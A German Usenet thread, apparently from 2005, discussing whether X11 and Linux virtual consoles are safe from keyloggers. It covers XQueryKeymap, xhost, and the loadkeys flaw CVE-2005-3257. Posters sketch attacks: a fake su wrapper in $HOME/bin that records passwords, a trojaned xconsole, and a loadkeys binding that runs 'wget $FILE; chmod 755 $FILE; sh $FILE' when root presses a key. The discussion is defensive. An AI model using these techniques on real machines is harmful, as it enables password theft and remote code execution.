Wie sicher ist X?
Manuel Reimer
mich würde einmal interessieren wie sicher das Konzept von X11
eigentlich ist.
Es geht mir dabei vor allem um "Keylogger". Ich bin auf meinem System
grundsätzlich als normaler Benutzer eingeloggt. Wenn's doch mal etwas
sein muss, das nur root kann, dann nutze ich entweder "su" oder logge
mich auf einem anderen VT als root ein.
Mich würde jetzt interessieren wie gefährlich diese Vorgehensweise ist.
Kann ein "Böses Programm" das mit Benutzerrechten auf dem gleichen
X-Server läuft die Tasteneingaben mitlesen, wenn ich einfach auf dem
X-Server ein xterm aufmachen und dort via "su" zu root wechsle?
Was ist mit VTs? Hat ein normaler Benutzer das Recht, bzw. die
Möglichkeit ein VT zu überlagern oder von dort Tastatureingaben
mitzulesen? Xlockmore gibt zumindest vor das es das "VT-Switching"
deaktivieren könnte. Bei meinem Versuch ist das allerdings nicht
gelungen. Muss wohl in der xorg.conf erst über die Option "DontVTSwitch"
erlaubt werden, was ich sein lasse.
CU
Manuel
XPost und F'up nach dcoux11
Arnold Schiller
> Mich würde jetzt interessieren wie gefährlich diese Vorgehensweise ist.
> Kann ein "Böses Programm" das mit Benutzerrechten auf dem gleichen
> X-Server läuft die Tasteneingaben mitlesen, wenn ich einfach auf dem
> X-Server ein xterm aufmachen und dort via "su" zu root wechsle?
Dürfte imho vom X-Server unabhängig sein, das entscheidende ist imho, ob
es einem bösen Programm möglich ist auf das Device lesend zuzugreifen.
Wenn es bösen Programm gelingt die Ein- Ausgabeoperationen umzuleiten,
aber manchmal ist das ja gewollt, wenn Systemmeldungen auf der xconsole
ausgegeben werden.
Grüsse,
Arnold
Daniel Fischer
> Mich würde jetzt interessieren wie gefährlich diese Vorgehensweise
> ist. Kann ein "Böses Programm" das mit Benutzerrechten auf dem gleichen
> X-Server läuft die Tasteneingaben mitlesen, wenn ich einfach auf dem
> X-Server ein xterm aufmachen und dort via "su" zu root wechsle?
Ein Programm mit *Deinen* Benutzerrechten kann als X-Client die Events
mitlesen.
Ein Programm mit *anderen* Benutzerrechten nicht (bis Du es mit xhost
erlaubst, z.B. xhost localhost = alle Clients vom lokalen Rechner werden
akzeptiert).
Ein Programm mit *root*-Rechten kann sowieso alles, auch Tastendrücke
mitlesen, aber *nicht* als X-Client, dafür muss es erst seine uid auf
Deine setzen. ;)
> Was ist mit VTs? Hat ein normaler Benutzer das Recht, bzw. die
> Möglichkeit ein VT zu überlagern oder von dort Tastatureingaben
> mitzulesen?
Nein.
> Xlockmore gibt zumindest vor das es das "VT-Switching"
> deaktivieren könnte. Bei meinem Versuch ist das allerdings nicht
> gelungen. Muss wohl in der xorg.conf erst über die Option
> "DontVTSwitch" erlaubt werden, was ich sein lasse.
Die Option DontVTSwitch bei Xorg/XFree bietet nur die Möglichkeit, das
Umschalten per Tastenkombi auf eine der Textkonsolen zu verbieten.
Typischerweise ist da aber nur ein Login-Prompt zu sehen, wenn Du Dich
nicht verkonfiguriert hast, so dass das kein Sicherheitsrisiko ist.
Wenn das Display gesperrt ist musst Du selbst wissen, ob sich jemand auf
der Konsole einloggen dürfen soll...
Gruß
Daniel
Florian Diesch
> Manuel Reimer!
>
>> Mich würde jetzt interessieren wie gefährlich diese Vorgehensweise
>> ist. Kann ein "Böses Programm" das mit Benutzerrechten auf dem gleichen
>> X-Server läuft die Tasteneingaben mitlesen, wenn ich einfach auf dem
>> X-Server ein xterm aufmachen und dort via "su" zu root wechsle?
>
> Ein Programm mit *Deinen* Benutzerrechten kann als X-Client die Events
> mitlesen.
Stimmt so nicht. X hat eigene Authentifikations-Mechanismen, die nichts
mit den Unix-Benutzern zu tun haben (man Xsecurity).
Die meisten Verfahren benutzen aber eine Datei, um Geheimnisse zu
speichern, so dass sich jeder, der lesenden Zugriff auf diese Datei hat,
Zugriff auf den X-Server verschaffen kann. In der Praxis hat daher
üblicherweise jedes Programm, das unter dem jeweiligen User läuft,
Zugriff auf den X-Server
> Ein Programm mit *anderen* Benutzerrechten nicht (bis Du es mit xhost
> erlaubst, z.B. xhost localhost = alle Clients vom lokalen Rechner werden
> akzeptiert).
Damit benutzt du die hostbasierte Authentifikation von X.
Generell reicht es, wenn du dich mit *irgendeinem* Verfahren
authentifizieren kannst.
> Ein Programm mit *root*-Rechten kann sowieso alles, auch Tastendrücke
> mitlesen, aber *nicht* als X-Client, dafür muss es erst seine uid auf
> Deine setzen. ;)
Die UID hat damit nicht zu tun, s.o.
>> Was ist mit VTs? Hat ein normaler Benutzer das Recht, bzw. die
>> Möglichkeit ein VT zu überlagern oder von dort Tastatureingaben
>> mitzulesen?
>
> Nein.
>
>> Xlockmore gibt zumindest vor das es das "VT-Switching"
>> deaktivieren könnte. Bei meinem Versuch ist das allerdings nicht
>> gelungen. Muss wohl in der xorg.conf erst über die Option
>> "DontVTSwitch" erlaubt werden, was ich sein lasse.
>
> Die Option DontVTSwitch bei Xorg/XFree bietet nur die Möglichkeit, das
> Umschalten per Tastenkombi auf eine der Textkonsolen zu verbieten.
> Typischerweise ist da aber nur ein Login-Prompt zu sehen, wenn Du Dich
> nicht verkonfiguriert hast, so dass das kein Sicherheitsrisiko ist.
Oft bekommt ein lokal eingeloggter User Rechte für eine Ressourcen
(z.B. Sound, Wechselmedien). Das kann zu unerwünschten, evtl. auch
sicherheitskritischen Situationen führen, wenn mehrere User lokal
eingeloggt sind.
Florian
--
Einen Troll zu füttern ist das gleiche als würde man einen Haufen
Hundescheisse sehen, absichtlich reinsteigen und sich dann beschweren.
(Christian Schneider in <2005-10-2...@bofh.my-fqdn.de>)
Manuel Reimer
> Die Option DontVTSwitch bei Xorg/XFree bietet nur die Möglichkeit, das
> Umschalten per Tastenkombi auf eine der Textkonsolen zu verbieten.
> Typischerweise ist da aber nur ein Login-Prompt zu sehen, wenn Du Dich
> nicht verkonfiguriert hast, so dass das kein Sicherheitsrisiko ist.
Ein Sicherheitsrisiko sehe ich in den VTs nicht, sondern eher die
einzige Möglichkeit sicher als Root zu arbeiten. Bisher habe ich einfach
in einem xterm via su auf Root gewechselt. Wenn aber jede Applikation
(auch potentielle Schadsoftware) meine Tastendrücke mitlesen kann hätte
diese Software dann auch das Root-Passwort. Einfacher kann Schadsoftware
eigentlich garnicht ihre Rechte erweitern.
Schon lustig wie einfach man für den X-Server Programme schreiben kann
die alle Tastenanschläge mitlesen. Ich kenne sehr viele Leute die ihren
X-Server ohne "nolisten tcp" nutzen. Wenn's root sein muss, dann su in
einem xterm und das grafische Programme in dieser Root-Shell auch gehen
wird vorher "xhost +" gemacht. Bis vor kurzem habe ich das selber so
gemacht, werde mir das aber jetzt doch besser abgewöhnen, zumal nicht
zwingend nötig ist grafische Programme als root laufen zu lassen. Ich
hab das früher nur für emacs gebraucht, der läuft aber auch mit gleichem
Funktionsumfang auf einer VT.
CU
Manuel
Rudolf Polzer
> Daniel Fischer wrote:
> > Die Option DontVTSwitch bei Xorg/XFree bietet nur die Möglichkeit, das
> > Umschalten per Tastenkombi auf eine der Textkonsolen zu verbieten.
> > Typischerweise ist da aber nur ein Login-Prompt zu sehen, wenn Du Dich
> > nicht verkonfiguriert hast, so dass das kein Sicherheitsrisiko ist.
>
> Ein Sicherheitsrisiko sehe ich in den VTs nicht, sondern eher die
> einzige Möglichkeit sicher als Root zu arbeiten. Bisher habe ich einfach
> in einem xterm via su auf Root gewechselt. Wenn aber jede Applikation
> (auch potentielle Schadsoftware) meine Tastendrücke mitlesen kann hätte
> diese Software dann auch das Root-Passwort. Einfacher kann Schadsoftware
> eigentlich garnicht ihre Rechte erweitern.
http://www.securityfocus.com/bid/15122
Auch die Textkonsole ist offenbar nicht dafür vorgesehen, von
verschiedenen Usern benutzt zu werden.
Das Problem mag albern erscheinen, ist aber in Rechnerpools durchaus
relevant. Der einzige Workaround besteht darin, sich nicht ohne Reboot
lokal als root einzuloggen.
> Schon lustig wie einfach man für den X-Server Programme schreiben kann
> die alle Tastenanschläge mitlesen. Ich kenne sehr viele Leute die ihren
> X-Server ohne "nolisten tcp" nutzen. Wenn's root sein muss, dann su in
> einem xterm und das grafische Programme in dieser Root-Shell auch gehen
> wird vorher "xhost +" gemacht.
Ich gebe zu, in solchen Fällen "ssh root@localhost" zu machen.
> Bis vor kurzem habe ich das selber so
> gemacht, werde mir das aber jetzt doch besser abgewöhnen, zumal nicht
> zwingend nötig ist grafische Programme als root laufen zu lassen. Ich
> hab das früher nur für emacs gebraucht, der läuft aber auch mit gleichem
> Funktionsumfang auf einer VT.
Ja, emacs läuft auch so... ansonsten könnte man z.B. mit xauth
rumspielen, ssh -X root@localhost,
export XAUTHORITY=$HOME_VOM_URSPRUENGLICHEN_USER/.Xauthority oder eines
der speziell dafür vorgesehenen Programme (sux, kdesu) nutzen.
--
Elfen Lied ist gewaltverherrlichend. Vor allem, was da so alles brutalst
niedergemetzelt, grausamst in Stücke gerissen und bei lebendigem Leibe
zerschnitten, zersägt, zerhackt wird... es wäre nicht übertrieben, zu
sagen: "Boldly splitting German composites that no man had split before"
Jörg Sommer
Manuel Reimer <Manuel.N...@nurfuerspam.de> schrieb:
> Daniel Fischer wrote:
>> Die Option DontVTSwitch bei Xorg/XFree bietet nur die Möglichkeit, das
>> Umschalten per Tastenkombi auf eine der Textkonsolen zu verbieten.
>> Typischerweise ist da aber nur ein Login-Prompt zu sehen, wenn Du Dich
>> nicht verkonfiguriert hast, so dass das kein Sicherheitsrisiko ist.
>
> Ein Sicherheitsrisiko sehe ich in den VTs nicht, sondern eher die
> einzige Möglichkeit sicher als Root zu arbeiten. Bisher habe ich
> einfach in einem xterm via su auf Root gewechselt. Wenn aber jede
> Applikation (auch potentielle Schadsoftware) meine Tastendrücke
> mitlesen kann hätte diese Software dann auch das Root-Passwort.
Das muss sie nicht können. Wenn ich das richtig in Erinnerung habe,
kann eine Anwendung sich auch den Focus krallen und dann gehen keine
Events mehr an andere Clients. Wo macht es z.B. der xdm.
Wenn du natürlich nur einen schnöden XTerm nimmst, macht der das nicht.
Aber gksu oder ähnliche Programme sollten die machen.
Schöne Grüße, Jörg.
--
Mathematiker beim Kuchenessen (aus dem wahren Leben):
J: Du überlegst wohl, wie du das Stück am optimalsten teilst?
K: Ja, ich wende gerade den Simplex-Algorithmus darauf an.
C: Schau mal, da hast du schon vier Ecken.
Reiner Steib
> Das muss sie nicht können. Wenn ich das richtig in Erinnerung habe,
> kann eine Anwendung sich auch den Focus krallen und dann gehen keine
> Events mehr an andere Clients. Wo macht es z.B. der xdm.
>
> Wenn du natürlich nur einen schnöden XTerm nimmst, macht der das nicht.
> Aber gksu oder ähnliche Programme sollten die machen.
xterm kann wohl auch etwas in dieser Richtung:
,----[ xterm(1x) ]
| Secure Keyboard (securekbd)
| The Secure Keyboard mode is helpful when typing in
| passwords or other sensitive data in an unsecure
| environment; see SECURITY below (but read the
| limitations carefully).
`----
Gruß, Reiner.
--
,,,
(o o)
---ooO-(_)-Ooo--- | PGP key available | http://rsteib.home.pages.de/
Peter J. Holzer
> Wenn ich das richtig in Erinnerung habe, kann eine Anwendung sich auch
> den Focus krallen und dann gehen keine Events mehr an andere Clients.
> Wo macht es z.B. der xdm.
>
> Wenn du natürlich nur einen schnöden XTerm nimmst, macht der das nicht.
Der macht das dann, wenn Du Ctrl-Linke_Maustaste drückst und aus dem
dann erscheinenden Menü die erste Option "Secure Keyboard" auswählst.
Allerdings nützt auch das nichts gegen Programme, die einfach in einer
Schleife den Keyboardstatus pollen. (Hmm, ich finde jetzt die
X-Funktion nicht mehr, die eine Bitmap aller gerade gedrückten Tasten
zurückliefert. Gibt es die nicht mehr oder finde ich nur die Manpage
nicht mehr? Ich habe die vor 10+ Jahren mal verwendet, und auf einem
486/100 war sie schnell genug, dass man den meisten Leuten beim
Passwort-Tippen zuschauen konnte).
hp
--
This is not a signature
Daniel Fischer
> Hmm, ich finde jetzt die X-Funktion
> nicht mehr, die eine Bitmap aller gerade gedrückten Tasten
> zurückliefert. Gibt es die nicht mehr oder finde ich nur die Manpage
> nicht mehr?
XQueryKeymap.
Gruß
Daniel
Rudolf Polzer
Warum wird der Bug (dass das bei gegrabbtem Keyboard auch von nicht
grabbenden Clientverbindungen geht) eigentlich nicht gefixt?
Gibt es eine legitime Anwendung, die dieses Verhalten braucht?
Rudolf Polzer
Viel einfacher.
~/.profile, ~/.bashrc oder ~/.alias bearbeiten, so dass $HOME/bin im
PATH steht (falls nicht eh schon vorhanden).
$HOME/bin/su anlegen. Es sei z.B. ein expect-Frontend für /bin/su, das
das Passwort mitschneidet. Trivial machbar, und die gleiche
Funktionsweise geht auch mit anderen Passwörter abfragenden Programmen.
Läuft das böse Programm im eigenen Account, dann bracht man sich um
Keylogger kaum mehr Gedanken zu machen - dann hat man größere Probleme.
Die Keylogger sind eher ein Problem bei:
- xhost +
- ssh -Y auf einen geownten Host (bei -X weiß ich nicht - XQueryKeymap
geht da jedenfalls nicht durch)
- xhost +
- habe ich eigentlich schon "xhost +" erwähnt?
Arnold Schiller
> Läuft das böse Programm im eigenen Account, dann bracht man sich um
> Keylogger kaum mehr Gedanken zu machen - dann hat man größere Probleme.
> Die Keylogger sind eher ein Problem bei:
>
> - xhost +
> - ssh -Y auf einen geownten Host (bei -X weiß ich nicht - XQueryKeymap
> geht da jedenfalls nicht durch)
> - xhost +
> - habe ich eigentlich schon "xhost +" erwähnt?
Deine Lösung des Einbruchs ist simpel und funktioniert, wenn du erstmal
Zugriff auf das $HOME hast.
Weiss zwar nicht ob es geht und habe es auch noch nicht ausprobiert, aber
interessant wird es ja, wenn mehrere Benutzer auf dem Host hier Home haben
und in ihrem Home alles mögliche anstellen können. Wenn das Home
vielleicht nur die Rechte eines Apache hat und noch nicht einmal ein
ssh-Zugriff besteht, dann ist wohl die einzige Möglichkeit Programme
über denn Apache-User zu starten. Wenn der sich nun ein device aneignen
kann und ala xconsole Meldungen anderer Benutzer mitliest, dann muss er
nur noch einen User mir ssh-Zugang und dem root-Passwort erwischen, der
dann su ausführt. Schafft er es da noch irgendwie mitzuloggen ....
Grüsse,
Arnold
Lasse Kliemann
> On 2005-11-30 09:29:03 +0000, Jörg Sommer wrote:
>> Wenn ich das richtig in Erinnerung habe, kann eine Anwendung sich auch
>> den Focus krallen und dann gehen keine Events mehr an andere Clients.
>> Wo macht es z.B. der xdm.
>>
>> Wenn du natürlich nur einen schnöden XTerm nimmst, macht der das nicht.
>
> Der macht das dann, wenn Du Ctrl-Linke_Maustaste drückst und aus dem
> dann erscheinenden Menü die erste Option "Secure Keyboard" auswählst.
Kann jemand garantieren, dass dieses Menü dann auch wirklich von diesem
Xterm ist und nicht von einem anderen Programm, welches die Maus
irgendwie abfängt und danach einen Secure-Keyboard-Modus vorgaukelt und
in Wahrheit gemütlich die eingegebenen Passwörter mitnimmt?
Rudolf Polzer
> Rudolf Polzer:
>
> > Läuft das böse Programm im eigenen Account, dann bracht man sich um
> > Keylogger kaum mehr Gedanken zu machen - dann hat man größere Probleme.
> > Die Keylogger sind eher ein Problem bei:
> >
> > - xhost +
> > - ssh -Y auf einen geownten Host (bei -X weiß ich nicht - XQueryKeymap
> > geht da jedenfalls nicht durch)
> > - xhost +
> > - habe ich eigentlich schon "xhost +" erwähnt?
>
> Deine Lösung des Einbruchs ist simpel und funktioniert, wenn du erstmal
> Zugriff auf das $HOME hast.
Das hat die Schadsoftware ja in der Regel - und zwar unter dem User, der
sie heruntergeladen hat.
> Weiss zwar nicht ob es geht und habe es auch noch nicht ausprobiert, aber
> interessant wird es ja, wenn mehrere Benutzer auf dem Host hier Home haben
> und in ihrem Home alles mögliche anstellen können.
Die wirklich Interessanten Dinge[tm] können sie nicht:
- Um ein Device zu "behalten", muss man einen Daemon starten, der sie
öffnet und den Filedeskriptor offen hält. Eigentlich kein Problem,
gut. Andernfalls verliert man die Rechte, wenn man sich ausloggt.
- Offene /dev/ttypX werden nicht an xterms o.ä. vergeben - das PTY ist
erst dann wieder frei, wenn alle Programme es schließen. Mit einem
Textkonsolen-TTY könnte es aber vielleicht gehen, müsste ausprobiert
werden.
- Wenn sich ein anderer User einloggt, kommt man nicht an seinen
X-Server dran.
> Wenn der sich nun ein device aneignen kann und ala xconsole Meldungen
> anderer Benutzer mitliest,
- xconsole ist recht harmlos, da sieht man nur wenige Meldungen und
keine Tastendrücke. Du überschätzt das Programm.
> dann muss er nur noch einen User mir ssh-Zugang und dem root-Passwort
> erwischen, der dann su ausführt. Schafft er es da noch irgendwie
> mitzuloggen ....
Dazu braucht es eine Kernellücke oder einen Admin, der "event debugging"
aktiviert hat. IMHO fehlt bei dieser Kerneloption die dicke rote Warnung
"KEYLOGGER" - denn es erzeugt u.a. auch für jeden Tastendruck einen
Syslog-Eintrag.
Peter J. Holzer
> Peter J. Holzer!
Hier!
> > Hmm, ich finde jetzt die X-Funktion nicht mehr, die eine Bitmap
> > aller gerade gedrückten Tasten zurückliefert. Gibt es die nicht mehr
> > oder finde ich nur die Manpage nicht mehr?
>
> XQueryKeymap.
Danke, das wars.
Manuel Reimer
> http://www.securityfocus.com/bid/15122
>
> Auch die Textkonsole ist offenbar nicht dafür vorgesehen, von
> verschiedenen Usern benutzt zu werden.
>
> Das Problem mag albern erscheinen, ist aber in Rechnerpools durchaus
> relevant.
Ist für mich garnicht albern. Wenn es nun nichtmal mehr möglich ist auf
einer VT sicher zu tippen stelle ich an dieser Stelle die Sicherheit von
Linux in Frage.
Wie finde ich diese CAN-2005-3257
Gibt es bereits einen Kernel-Patch? Wird daran gearbeitet?
> Der einzige Workaround besteht darin, sich nicht ohne Reboot lokal als root einzuloggen.
Inakzeptabel...
> Ja, emacs läuft auch so... ansonsten könnte man z.B. mit xauth
> rumspielen, ssh -X root@localhost,
> export XAUTHORITY=$HOME_VOM_URSPRUENGLICHEN_USER/.Xauthority oder eines
> der speziell dafür vorgesehenen Programme (sux, kdesu) nutzen.
Wenn man unter X das Root-Passwort mitlesen kann sind die ganzen
"grafischen Tools" die das Root-Passwort wollen für mich nicht mehr
relevant.
Da ich die gesamten Systemadministration textbasiert mache würde mir
eine VT reichen. Wenn die aber auch nicht sicher ist....
CU
Manuel
Arnold Schiller
> Ist für mich garnicht albern. Wenn es nun nichtmal mehr möglich ist auf
> einer VT sicher zu tippen stelle ich an dieser Stelle die Sicherheit von
> Linux in Frage.
Nun Remote, kann das auch nicht geschehen. Jemand muss Lokal auf der
Maschine drauf sein. Was nun Lokale Zugriffe anbelangt, kann es auch sein,
dass jemand Zugriff auf das CD-Rom oder Diskettenlaufwerk erhält. Den
Rechner lokal von CD-ROM mit Knoppix bootet und durch austauschen von
shadow und passwd vollen Zugriff auf die Maschine erhält. Ist das CD-Rom
oder die Floppy abgeklemmt könnte er immer noch den Rechner aufschrauben
und die Festplatte ausbauen in einen anderen Rechner einbauen. shadow und
passwd austauschen, böses Programm installieren und schon ist er drin.
Wenn du wirklich einen sicheren Rechner willst, dann klemm ihn vom
Netzwerk ab und Mauer ihn ein und lass ein Loch für Monitor und
Tastaturkabel frei.
Grüsse,
Arnold
Arnold Schiller
>> Wenn der sich nun ein device aneignen kann und ala xconsole Meldungen
>> anderer Benutzer mitliest,
>
> - xconsole ist recht harmlos, da sieht man nur wenige Meldungen und
> keine Tastendrücke. Du überschätzt das Programm.
ala xconsole meint nicht xconsole. Der Sourcecode von Suse sieht so aus,
dass das Ding ein chown das Device auf den angemeldeten Benutzer
durchführt, damit Systemmeldungen, die root bekommen soll dem Benutzer
angezeigt werden.
Statt nun diese Systemmeldungen anzuzeigen, könnte ich mir einen C-Source
vorstellen, der stattdessen einen keylogger für den Benutzer startet
und die Ausgabe dann in eine Datei umleitet. Da xconsole automatisch bei
den SuSEs bei der Anmeldung am X-Server gestartet wird, braucht das böse
Programm nur die Funktionalität der xconsole implementieren, damit der
User keinen Unterschied merkt und dann die Schadroutinen behinhalten.
Grüsse,
Arnold
Peter J. Holzer
> Wenn du wirklich einen sicheren Rechner willst, dann klemm ihn vom
> Netzwerk ab und Mauer ihn ein und lass ein Loch für Monitor und
> Tastaturkabel frei.
CVE-2005-3257 bedeutet aber, dass auch dieses Szenario nicht sicher ist.
Wobei das nichts neues ist. Die "loadkeys" Manpage auf meinem Rechner
behauptet von 1997 zu sein, und erwähnt genau dieses Verhalten im
Abschnitt "BUGS".
Rudolf Polzer
> Rudolf Polzer wrote:
> > http://www.securityfocus.com/bid/15122
> >
> > Auch die Textkonsole ist offenbar nicht dafür vorgesehen, von
> > verschiedenen Usern benutzt zu werden.
> >
> > Das Problem mag albern erscheinen, ist aber in Rechnerpools durchaus
> > relevant.
>
> Ist für mich garnicht albern.
Für die Linux-Entwickler schon. Wenn man sowas bringt, heißt es immer
"wer lokal am Rechner sitzt, kann eh tun, was er will".
Aber "Rechner aufschrauben, BIOS-Reset-Jumper setzen, einschalten,
Knoppix booten" ist doch ein wenig mehr Aufwand als "auf tty1 gehen,
ominösen loadkeys-Befehl eingeben, gehen, abwarten".
In einem Rechnerpool braucht man für ersteres um einiges mehr kriminelle
Energie als für letzteres - die anderen werden schon sehr komisch
gucken, wenn da plötzlich einer kommt und den Rechner aufschraubt. Zumal
die Rechnergehäuse oft mit einem Vorhängeschloss und so einem
Stahlseildingens gesichert sind - nicht 100%ig (ich würde es wohl
abbrechen können, das ist nur eine Lasche aus Gehäuseblech mit Loch
drin), aber das weiß eigentlich jeder, dass die Service-Leute die Dinger
nicht aufbrechen, sondern den Schlüssel bekommen.
Wer dagegen auf tty1 irgendwas komisches macht, fällt nicht auf. Und das
ist auch gut so[tm] - schließlich geht es ja auch niemanden an, was
andere für Mails lesen.
> Wenn es nun nichtmal mehr möglich ist auf
> einer VT sicher zu tippen stelle ich an dieser Stelle die Sicherheit von
> Linux in Frage.
>
> Wie finde ich diese CAN-2005-3257
>
> Gibt es bereits einen Kernel-Patch? Wird daran gearbeitet?
Debian hat einen, das Kernelteam nicht.
linux-2.6 (2.6.14-4) unstable; urgency=low
.
[ dann frazier ]
* setkeys-needs-root-1.patch, setkeys-needs-root-2.patch:
[SECURITY] Require root privilege to write the current
function key string entry of other user's terminals.
See CVE-2005-3257 (Closes: #334113)
Das ist bei Linux immer so - wenn eine Lücke nur lokal ausnutzbar ist, heißt es
immer "wer den Rechner sehen kann, ist eh schon root" und das Geflame geht los.
Fixen wird solche Dinge niemand.
Aber vielleicht kommt in drei Jahren endlich die "echte" SAK, die dann:
- alle Prozesse auf dem aktuellen TTY killt
- Keyboardlayout zurücksetzt
- Bildschirmmodus zurücksetzt
Das zusammen mit dem "setkeys-needs-root"-Patch wäre endlich eine
sichere Konsole. Bis dahin ist die einzige sichere Methode, sich von
einem vertrauenswürdigen Rechner (evtl. ein kleines Notebook, Palm
o.ä.?) aus übers Netz einzuloggen. Oder halt der Reboot.
> > Der einzige Workaround besteht darin, sich nicht ohne Reboot lokal als root einzuloggen.
>
> Inakzeptabel...
Es gäbe für so Fälle zwar eine "special attention key", die auch nicht
umgemappt werden kann - sie killt aber alle Prozesse auf dem laufenden
VT und hat gerade auf tty1 oder auf X11 üble Nebeneffekte (macht man das
auf dem X11-Terminal, gibt's bis Reboot nie wieder einen Textmodus).
Allerdings setzt die SAK nicht die Keymap zurück, und selbst wenn es die
SAK tun würde, kann auch ein User auf einem anderen tty die Keymap
ändern (da es nur eine globale gibt).
> > Ja, emacs läuft auch so... ansonsten könnte man z.B. mit xauth
> > rumspielen, ssh -X root@localhost,
> > export XAUTHORITY=$HOME_VOM_URSPRUENGLICHEN_USER/.Xauthority oder eines
> > der speziell dafür vorgesehenen Programme (sux, kdesu) nutzen.
>
> Wenn man unter X das Root-Passwort mitlesen kann sind die ganzen
> "grafischen Tools" die das Root-Passwort wollen für mich nicht mehr
> relevant.
Es können genau die Programme das root-Passwort mitlesen, die auch nach
einem sudo -s oder su - deine Rootshell übernehmen könnten. Nämlich die
unter deiner UID.
Da ist X11 nicht unbedingt als unsicher einzustufen.
> Da ich die gesamten Systemadministration textbasiert mache würde mir
> eine VT reichen. Wenn die aber auch nicht sicher ist....
Es gibt zum Glück mehr als nur Linux. Ähnliche Lücken werden auf FreeBSD
sehr ernst genommen; leider wurde da aber auch letztes Jahr was gefunden
und gefixt (Screenshotfunktion lieferte Kernelspeicher), weshalb ich da
keine uneingeschränkte Empfehlung aussprechen kann. Zumal die
Funktionalität der SAK fehlt (aber "alles killen, was das aktuelle TTY
offen hat, danach alles Nötige zurücksetzen" kann recht einfach als
Aktion auf das Einstecken eines bestimmten USB-Gerätes festgelegt
werden, und da Textkonsolen jeweils ihre eigene Keymap haben, würde es
sogar wirken - wäre allerdings etwas Handarbeit).
Rudolf Polzer
Genau das hatte mich am meisten gewundert.
Rudolf Polzer
> Rudolf Polzer:
> >> Wenn der sich nun ein device aneignen kann und ala xconsole Meldungen
> >> anderer Benutzer mitliest,
> >
> > - xconsole ist recht harmlos, da sieht man nur wenige Meldungen und
> > keine Tastendrücke. Du überschätzt das Programm.
>
> ala xconsole meint nicht xconsole. Der Sourcecode von Suse sieht so aus,
> dass das Ding ein chown das Device auf den angemeldeten Benutzer
> durchführt, damit Systemmeldungen, die root bekommen soll dem Benutzer
> angezeigt werden.
Dieses Device enthält aber eben nur diese Meldungen.
> Statt nun diese Systemmeldungen anzuzeigen, könnte ich mir einen C-Source
> vorstellen, der stattdessen einen keylogger für den Benutzer startet
> und die Ausgabe dann in eine Datei umleitet. Da xconsole automatisch bei
> den SuSEs bei der Anmeldung am X-Server gestartet wird, braucht das böse
> Programm nur die Funktionalität der xconsole implementieren, damit der
> User keinen Unterschied merkt und dann die Schadroutinen behinhalten.
Sowas kann nur root einrichten.
Und root kann eh so viele Keylogger installieren, wie er will.
Nutze keinen Rechner, dessen Administratoren du nicht vertraust - denn
diese können den Rechner so manipulieren, wie sie wollen.
"TCPA" hätte das zu ändern versucht - aber stattdessen müsste man dann
Leuten, die sich in den USA aufhalten und die nicht greifbar ist, voll
und ganz vertrauen und die lokalen Administratoren hätten keinerlei
Eingriffsmöglichkeit.
Manuel Reimer
> »Manuel Reimer« <Manuel.N...@nurfuerspam.de> wrote:
>
>>Rudolf Polzer wrote:
>>
>>>http://www.securityfocus.com/bid/15122
>>>
>>>Auch die Textkonsole ist offenbar nicht dafür vorgesehen, von
>>>verschiedenen Usern benutzt zu werden.
>>>
>>>Das Problem mag albern erscheinen, ist aber in Rechnerpools durchaus
>>>relevant.
>>
>>Ist für mich garnicht albern.
>
>
> Für die Linux-Entwickler schon. Wenn man sowas bringt, heißt es immer
> "wer lokal am Rechner sitzt, kann eh tun, was er will".
>
> Aber "Rechner aufschrauben, BIOS-Reset-Jumper setzen, einschalten,
> Knoppix booten" ist doch ein wenig mehr Aufwand als "auf tty1 gehen,
> ominösen loadkeys-Befehl eingeben, gehen, abwarten".
Das ist *falsch*.
Alles was es braucht ist eine Lücke im Browser, Mailprogramm,
IRC-Client, CVS-Client, Newsreader, FTP-Client, ..... die zum
Buffer-Overflow führt und das Ausführen von Code mit den Rechten des
Benutzers ermöglicht. Sowas hat es schon des öfteren gegeben und ich bin
mir sicher das es nur eine Frage der Zeit ist bis in irgendeinem Client-
oder Serverprogramm mal wieder so eine Lücke auftaucht.
Irgendjemand hier der sicherheitshalber seinen Apache als "nobody"
laufen lässt? Solche Lücken machen solche Maßnahmen sinnlos! Mal
ehrlich, wer rebootet seinen Server wenn er eine Wartungsarbeit als root
machen muss?
Dank des praktischen Tools "loadkeys" ist alles was der Angreifer tun
muss ein "wget $FILE; chmod 755 $FILE; sh $FILE" auf eine Taste zu
werfen. Das ganze könnte z.B. praktischerweise in einige Config-Dateien
wie ".xsession" oder ".bash_profile" des angemeldeten Benutzers
geschrieben werden. Die Chance, das sich jetzt irgendwann mal root auf
der Maschine einloggt, nachdem sich der Benutzer mit dem "verseuchten
Profil" eingeloggt hat, ist IMO garnicht mal so schlecht.
>>Wenn es nun nichtmal mehr möglich ist auf
>>einer VT sicher zu tippen stelle ich an dieser Stelle die Sicherheit von
>>Linux in Frage.
>>
>>Wie finde ich diese CAN-2005-3257
>>
>>Gibt es bereits einen Kernel-Patch? Wird daran gearbeitet?
>
>
> Debian hat einen, das Kernelteam nicht.
>
> linux-2.6 (2.6.14-4) unstable; urgency=low
> .
> [ dann frazier ]
> * setkeys-needs-root-1.patch, setkeys-needs-root-2.patch:
> [SECURITY] Require root privilege to write the current
> function key string entry of other user's terminals.
> See CVE-2005-3257 (Closes: #334113)
Wenn Debian einen hat, dann habe ich als Nutzer einer anderen
Distribution relativ wenig davon. Sowas sollte in den Kernel auf
kernel.org einfließen. Des Weiteren sollte *umgehend* ein bereinigter
Kernel veröffentlicht werden bevor die nächstbeste Apache-Lücke diverse
Webserver abräumt.
> Das ist bei Linux immer so - wenn eine Lücke nur lokal ausnutzbar ist, heißt es
> immer "wer den Rechner sehen kann, ist eh schon root" und das Geflame geht los.
> Fixen wird solche Dinge niemand.
Halte ich für äußerst bedenklich.
> Aber vielleicht kommt in drei Jahren endlich die "echte" SAK, die dann:
> - alle Prozesse auf dem aktuellen TTY killt
> - Keyboardlayout zurücksetzt
> - Bildschirmmodus zurücksetzt
Was ist eine "SAK"? Sind drei Jahre nicht sehr hoch gegriffen? Klingt
für mich wie "in drei Jahren wird Linux sicher".
> Das zusammen mit dem "setkeys-needs-root"-Patch wäre endlich eine
> sichere Konsole. Bis dahin ist die einzige sichere Methode, sich von
> einem vertrauenswürdigen Rechner (evtl. ein kleines Notebook, Palm
> o.ä.?) aus übers Netz einzuloggen. Oder halt der Reboot.
Genau. Jetzt reboote ich jedes mal wenn ich ein Update fahren oder ein
neues Paket einspielen will... Und das jetzt wo ich mich gerade an den
großen Vorzug, eben nicht wegen jeder Kleinigkeit rebooten zu müssen,
gewöhnt habe. Wird die Linux-Nutzer, die Server unter Linux laufen
